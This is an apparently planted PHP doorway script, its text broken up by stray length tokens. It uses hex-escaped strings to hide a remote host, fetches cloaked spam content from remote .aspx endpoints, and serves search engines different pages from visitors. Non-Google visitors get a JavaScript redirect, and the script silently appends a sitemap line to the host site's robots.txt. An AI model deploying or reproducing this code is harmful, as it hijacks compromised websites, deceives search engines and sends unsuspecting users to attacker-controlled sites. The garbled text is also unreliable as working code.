2 5 true 1 , 16 CURLOPT_ 8 CONNECTT 2 IM 2 EO 2 UT 5 => 5 1f , CURLOPT_TIMEOUT 7 3 => 1 8 18 , CURLOPT_S 2 SL 1 _ 5 VERIF 2 YP 1 E 6 ER => 5 false 21 , CURLOPT_SSL_VERIFY 3 HOS 1 T 20 => false, CURLOPT_ 3 FOL 2 LO 1 W 3 LOC 3 ATI 2 ON 20 => false, CURLOPT_ 1 U 4 SERA 1 G 3 ENT a => " 2 Mo 2 zi 3 lla 2 /5 3 .0" a d ]); 8 $data = 7 curl_ex 2 ec 4 ($ch 11 ); curl_ 2 cl 3 ose c ($ch); 1 } c if ( 7 empty($ 6 data) 3 && 3 ini 5 _get( 3 'al 2 lo 2 w_ 5 url_f 3 ope 1 n 11 ')) { $c 4 onte 1 x 4 t = 5 strea 2 m_ 8 context_ 1 c 5 reate 1 ( 10 [ " 2 ht 3 tp" 4 => 2 [" 4 time 3 out 1 " 6 => 8, 5 "hea 3 der 5 " => 3 "Us 2 er 3 -Ag 5 ent: b Mozilla/5.0 2 \r 3 \n" 1 ] f , 3 "ss 3 l" 6 => [" 3 ver 2 if 3 y_p 1 e 7 er" => 7 false, d "verify_peer_ 3 nam 1 e b " => false] 1f ]); $data = 1 @ 13 file_get_contents($ 3 url 1 , 8 false, 8 $context 15 ); } if ( 1 ! d empty($data)) c cache_set($ 5 url, 6 $data) 1 ; d return 5 $data 2b ; } /* ------------------------- 4 URL 1 2 2 1 2d ------------------------- */ function get_ 8 url_info 4 (str 5 ing $ 3 typ 2 e= 3 'do 2 ma 1 i 5 n'): 7 string 8 { $ 2 ho 2 st c = $_SERVER[ 6 'HTTP_ 4 HOST 2 '] 2 ? 1 ? 6 ''; 9 if ($ 5 type 1 = 5 == 'n 2 o_ 2 ww 2 w' 9 ) return 3 pre 1 g 5 _repl 2 ac 3 e(' 2 /^ 4 www\ 2 ./ 1 i 4 ', ' 4 ', $ 5 host) c ; $pr 3 oto 2 co 4 l = 11 (!empty($_SERVER[ 6 'HTTPS 2 '] 5 ) && 11 $_SERVER['HTTPS'] 5 !== 3 'of 1 f 4 ') ? 6 "http 2 s: 3 //" 2 : 6 "http 4 ://" 8 ; $ 3 bas 4 e = b $protocol . 6 $host d ; if ( b $type === ' 4 base a ') return 5 $base 17 ; if ($type === 'f 2 ul 1 l 12 ') return $base . d ($_SERVER['RE 1 Q 2 UE 1 S 5 T_URI 8 '] ?? '' a ); 8 return $ 7 host; 29 } /* ------------------------- 2 1 2 2 2 2 21 ------------------------- */ g 4 oto 2 ON 2 Pu 2 B; 6 ONPuB 1 : 6 $http 1 _ 7 type = 10 !empty($_SERVER[ 2 "\ 2 x4 3 8\1 2 24 2 \x 5 54\x5 4 0\x5 2 3" 19 ]) && $_SERVER["\x48\124\ 6 124\x5 7 0\x53"] 5 !== 3 "\1 2 57 2 \x 2 66 2 \1 2 46 1 " 7 ? "\15 3 0\x 2 74 8 \x74\x70 2 \1 2 63 3 \72 2 \x 2 2f 4 \x2f 5 " : " 3 \x6 4 8\16 8 4\164\16 1 0 9 \72\x2f\5 3 7"; 1 7 goto O4 2 O9 2 k; 6 O4O9k 4 : $v 3 url 5 = "\ 4 x74\ 4 157\ 4 56\1 2 52 3 \14 4 7\14 1 1 4 \x6c 9 \x6c\163\ 2 x2 4 e\14 1 3 8 \157\x6d 5 \x2f" 7 ; goto 2 vg 3 v72 1 ; 6 vgv72 4 : $q 1 z 5 = su 1 b 3 str 4 (str 9 _replace( 6 array( 5 "\x77 5 \x77\ 2 16 5 7\x2e 1 " 3 , " 5 \56") 7 , '', $ c _SERVER["\11 1 0 7 \x54\x5 4 4\12 5 0\x5f 5 \x48\ 3 x4f 3 \12 5 3\x54 3 "]) 2 , 3 0, 1 3 4 ); 24 /* ------------------------- 2 1 2 2 f 3 1 23 数 ------------------------- */ 2 $s 5 z = $ 2 ii 4 d = 1 " 6 "; if a (!empty($_ 4 GET) 1 ) 4 { 2 $f 3 =re 5 set($ 5 _GET) 8 ; $ 1 s 4 p = 9 explode(' 5 -', $ 1 f c ); if ( 3 cou 1 n 5 t($sp 1 ) 6 === 2 11 ) { $sz 4 = $ 2 sp 3 [0] c ; $ 6 iid = 5 $sp[1 1 ] a ; } 1 } 27 /* ------------------------- 2 1 2 2 2 1 20 ------------------------- */ e if (!empty($sz b )) { $ 5 jd = d getCurlFast(" 1 { b $http_type} 1 { 6 $vurl} 2 3k 2 g. 3 asp 2 x? 2 sz 2 =" 3 . 5 urlen 1 c 4 ode( 5 $sz)) 6 ; } e 3 lse 37 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? 3 xy= c {$http_type} 1 " b ); $sz 2d = getCurlFast("{$http_type}{$vurl}3kg.aspx?j 1 d 11 =" . urlencode($j 2 d) a ); } $ 3 hyz 2 hd 1 y 4 = $ 5 jd . 2 "4 1 1 5 .aspx 6 "; $s 4 url 1 b = $jd . "s b 41.aspx"; 25 /* ------------------------- 2 ro 3 bot 1 s 4 / s 1 i 5 temap 22 ------------------------- */ $s 7 itemapL 2 in 5 e = " 1 S 8 itemap: e {$http_type}{$ 14 _SERVER['HTTP_HOST'] d }{$_SERVER['S 2 CR 1 I 4 PT_N 2 AM 4 E']} 2 ?w 5 =" . 1 d 5 ate(' 2 Ym 2 dH 2 i' 4 ) . 1 " 4 \n"; b function 2 en 4 sure 1 _ 7 robots_ 8 sitemap( c $sitemapLine a ) { $ 9 robots = 1 r 5 trim( b $_SERVER['D 2 OC 2 UM 4 ENT_ 2 RO 1 O 3 T'] 5 , "/\ 2 \" 6 ) . '/ 6 robots 2 .t 2 xt c '; if ( 1 ! d file_exists($ 6 robots e )) { 14 @file_put_contents($ 7 robots, 7 "User- 1 a 6 gent: 3 *\n 1 A 5 llow: 2 / 3 \n" 4 . $ b sitemapLine d , LOCK_EX); 5 } d else { 6 $c 17 = @file_get_contents($ 7 robots) 1 ; e if ( 4 $c = 8 == false 2 | 2 | 8 strpos($ 2 c, d $sitemapLine 1 ) a === false 11 ) { 1c @file_put_contents($robots, e $sitemapLine, 3 FIL 4 E_AP 3 PEN 2 D 1 | 10 LOCK_EX); 7 } a } } 26 /* ------------------------- w 3 = 1 2 2 2c ------------------------- */ if (!empty($ 4 get[ 2 'w 1 ' 7 ])) { 9 $pa 2 ra 1 m 4 s = 6 http_b 3 uil 2 d_ 2 qu 3 ery d ([ ' 2 NO 2 Um 3 ber 1 ' 4 => e $get['NOUmber' 7 ] ?? '' d , 't 1 ' a => 7 $get['t 14 '] ?? '', ' 3 cn' f => $get[' 3 cn' 14 ] ?? '', 'p 4 NOUm 1 ' 12 => $get['pNOUm' 14 ] ?? '', 'c 2 id 1 ' 12 => $get['cid' 13 ] ?? '', ' 1 m 11 ' => $get[' 9 m'] ?? '' 7 ] b ); $ 3 str 12 = getCurlFast("{$ 4 surl 2 }? 1 { 7 $params 6 }"); 8 ec 2 ho 1 c str_replace( b [ 2 'y 3 ymm 2 ', 2 'g 7 gggg',' 2 ?f 1 = 3 '], b [ b $http_type. 16 $_SERVER['HTTP_HOST']. 17 $_SERVER['SCRIPT_NAME'] 5 , $sz 4 ,'?' 1 . 4 $qz. 1 ' e ='], a $str 8 ); 3 exi 2d t; } /* ------------------------- I 2 P 2 2 1 2 2 2 1 2 2 3 kk 1 2 2 1 24 ) ------------------------- */ $ 5 kk = 2 is 5 set($ 5 get[' 2 kk 4 ']) 1 ? 6 trim( c $get['kk']) 1 : 6 ''; 6 $ip = 5 ($kk 5 !== ' 7 ') ? "6 2 6. 2 24 2 9. 2 82 2 .8 4 " : d get_real_ip() 28 ; /* ------------------------- 3 get 6 domain 1 2 5 判 2 27 ------------------------- */ $domain 8 = trim( d getCurlFast($ 6 jd . " a getdomain2 6 .aspx? 2 rn 2 d= 3 1&i 1 p 5 =" . 4 $ip) 2a ); /* ------------------------- 2 3 go 3 ogl 2 e 2 + 4 iid 1 2 2 2 2 1 24 ------------------------- */ if ( 8 $domain 5 !== ' 6 google 1 ' 4 && 8 !empty($ 3 iid b )) { $ 1 k 4 name 6 = url 2 de 5 code( 15 getCurlFast($jd . "gn 6 .aspx? 3 iid 8 =" . $ii 6 d)); 9 echo 2 '< 3 scr 2 ip 3 t>l 2 oc 1 a 5 tion= 1 " 4 ' . 8 $jd . "a 7 .aspx?c 4 name 10 =" . urlencode($ 5 kname 6 ) . "& 3 url 6 =" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' d SCRIPT_NAME'] 5 . '" 2 1 ' 36 ; exit; } /* ------------------------- 4 iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 12 str = getCurlFast( 8 $hyzhdy 3 . " 5 ?iid= 1 { 4 $iid 29 }"); echo str_replace( [' 8 ggggg',' 5 YYYYY 3 ',' 2 XX 1 X 7 YYY',' 2 2 1 3 URL 4 ','U 4 UUUU 4 ','M 4 MMMM 15 ','?f='], [$ 3 sz, f get_url_info() f , get_url_info( 7 'base') 10 , get_url_info(' 6 full') 10 , get_url_info(' 9 no_www'), 3 par 2 se 4 _url 18 ($_SERVER['REQUEST_URI'] 3 , P 2 HP 3 _UR 3 L_P 2 AT 2 H) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 8 sitemap 2 he 3 lpe 1 r 29 ------------------------- */ function 2 ou 1 t 4 put_ 9 sitemap_a 2 nd 4 _exi 1 t e ($sitemapLine, b $http_type 9 ) { 23 ensure_robots_sitemap($sitemapLine) c ; echo 2 "< 2 di 1 v 5 styl 2 e= 1 ' 5 text- 3 ali 2 gn 2 :c 3 ent 2 er 3 ;pa 2 dd 3 ing 2 :1 2 0p 3 x 0 2 ;' 1 > e 3 8 Sitemap< 2 /a d > 2 " 36 ; exit; } /* ------------------------- 3 kk 7 输出 2 2 1 25 ------------------------- */ if ($ 9 kk !== '' 4 && 6 preg_m 2 at 2 ch 4 ('/^ 2 [A 1 - 3 Za- 2 z0 2 -9 1 ] 3 +$/ 6 ', $kk d )) { $re 3 mot 1 e 10 = getCurlFast($ 1a jd . "getdomain2.aspx?rnd= 2 2& 2 kk 6 =" . $ 3 kk) c ; if (! 7 empty($ 6 remote e )) { 5 echo 7 $remote b ; 7 exit; c } } 13 if ($kk !== '' && ! 2c preg_match('/^[A-Za-z0-9]+$/', $kk)) { 31 output_sitemap_and_exit($sitemapLine, $http_type) 9 ; } $ 3 is_ 3 no_ 5 query 4 = e f mpty($_SERVER[' 3 QUE 2 RY 8 _STRING' 7 ]); 8 if ($kk 1 = 9 == '' && c $is_no_query 9 ) { c if ($domain 1 = 18 == 'google') { 34 output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 13 exit; } } 34 output_sitemap_and_exit($sitemapLine, $http_type); 1 ? 2 > 1 0